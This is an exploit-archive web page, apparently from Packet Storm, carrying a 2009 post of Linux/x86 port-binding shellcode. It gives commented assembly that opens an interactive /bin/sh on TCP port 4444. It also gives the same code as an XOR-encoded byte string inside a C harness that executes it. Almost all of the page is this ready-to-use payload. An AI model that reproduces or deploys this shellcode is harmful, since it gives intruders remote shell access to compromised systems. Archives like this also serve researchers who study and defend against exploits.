what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Port Binding Shellcode

Linux/x86 Port Binding Shellcode
Posted Jul 8, 2009
Authored by Rick

Linux/x86 shellcode that binds to port 4444 and is xor-encoded.

tags | x86, shellcode
systems | linux
SHA-256 | 42a49a8a5f2981bd589d213073aa7a301074373d1fe4dc5293614f9484bf8401

Linux/x86 Port Binding Shellcode

Change Mirror Download
/* 
Author: Rick
Email: rick2600@hotmail.com

OS: Linux/x86
Description: Port Bind 4444 ( xor-encoded )


--------------------------------------------------------------------
section .text
global _start

_start:

;socket (PF_INET, SOCK_STREAM, 0)
push byte 0x66
pop eax
push byte 0x01
pop ebx
xor ecx, ecx
push ecx
push byte 0x01
push byte 0x02
mov ecx, esp
int 0x80

mov esi, eax ;save file descriptor

;bind (sockfd, server, len)
xor edx, edx
push edx
push word 0x5c11
push word 0x02
mov ecx, esp
push byte 0x10
push ecx
push eax
mov ecx, esp
mov bl, 0x02
push byte 0x66
pop eax
int 0x80

;listen
mov al, 0x66
mov bl, 0x04
int 0x80

;accept
push edx
push esi
mov ecx, esp
inc ebx
push byte 0x66
pop eax
int 0x80

mov ebx, eax ;save file descriptor

;dup2(sockfd, 2); dup2(sockfd, 1); dup2(sockfd, 0)
push byte 0x02
pop ecx
do_dup:
push byte 0x3f
pop eax
int 0x80
loop do_dup
push byte 0x3f
pop eax
int 0x80


; execve ("/bin/sh", ["/bin/sh", "-i"], 0);
xor edx, edx
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
push word 0x692d
mov ecx, esp
push edx
push ecx
push ebx
mov ecx, esp
push byte 0x0b
pop eax
int 0x80

;exit(0)
push byte 0x01
pop eax
xor ebx, ebx
int 0x80
--------------------------------------------------------------------
*/

#include <stdio.h>
#include <string.h>



char code[] =
"\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"
"\x1e\x88\x03\x43\x66\x49\x75\xf5\xeb\x05"
"\xe8\xe9\xff\xff\xff\x74\x78\x46\x74\x1f"
"\x45\x2f\xd7\x4f\x74\x1f\x74\x1c\x97\xff"
"\xd3\x9e\x97\xd8\x2f\xcc\x4c\x78\x76\x0f"
"\x42\x78\x76\x1c\x1e\x97\xff\x74\x0e\x4f"
"\x4e\x97\xff\xad\x1c\x74\x78\x46\xd3\x9e"
"\xae\x78\xad\x1a\xd3\x9e\x4c\x48\x97\xff"
"\x5d\x74\x78\x46\xd3\x9e\x97\xdd\x74\x1c"
"\x47\x74\x21\x46\xd3\x9e\xfc\xe7\x74\x21"
"\x46\xd3\x9e\x2f\xcc\x4c\x76\x70\x31\x6d"
"\x76\x76\x31\x31\x7c\x77\x97\xfd\x4c\x78"
"\x76\x33\x77\x97\xff\x4c\x4f\x4d\x97\xff"
"\x74\x15\x46\xd3\x9e\x74\x1f\x46\x2f\xc5"
"\xd3\x9e";



int main(void)
{
printf("length: %d\n", strlen(code));

void (*shellcode)();
shellcode = (void *)code;
shellcode();
return (0);

}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close